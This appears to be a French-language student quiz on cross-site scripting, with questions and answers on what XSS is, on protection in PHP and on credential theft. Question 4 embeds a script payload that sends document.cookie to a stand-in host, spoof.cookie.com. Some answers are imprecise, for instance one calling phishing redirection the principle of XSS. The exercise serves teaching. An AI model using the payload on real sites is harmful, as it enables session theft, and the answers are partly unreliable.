Question 1 : Que veut dire l’acronyme XSS (anglais/français) et qu’est ce que cela implique pour un utilisateur qui se dirigerait sur un site avec une telle faille ?

Question 2 : Comment peut-on se protéger d’une faille XSS en PHP (et pourquoi un header http « X-XSS-Protection : 1 » ne serait pas suffisant) ?

Question 3 : Est-ce qu’une faille XSS pourrait amener un hacker à obtenir un login / mot de passe (hashé ou pas) et si oui, comment ?

Question 4 : Qu’est-ce qui se passe si je soumets ce contenu dans un site non protégé contre les failles XSS et qu’un utilisateur accède à la page qui présente ce contenu ?  
<scripte language=etmlscript>console.log(‘’you have been hacked by Narut0’’) ;window.location.href=’’https://spoof.cookie.com ?data=’’+document.cookie ;</script>

Réponse 1 :   
Cross-Site Scripting, qu’il risque que ses informations soient redirigées sur le site de l’hacker

Réponse 2 :   
pour protéger les données entrante et sortante, il suffit de mettre htmlSpecalChar pour sécuriser les valeurs. Le header http « X-XSS-Protection : 1 » ne filtre pas efficacement les scriptes, c’est-à-dire qu’il ne protège pas contre toutes les possibilités d’attaque XSS.

Réponse 3 :   
oui, c’est même le principe du XSS, le hacker redirige l’utilisateur sur un site qui ressemble au site de base et que l’utilisateur rentre des données c’est le hacker qui les récupères, login et mot de passe inclue

Réponse 4 :   
il affiche dans la console web « ’you have been hacked by Narut0 » et il redirige sur son site avec les cookie de l’utilisateur (vole de cookie).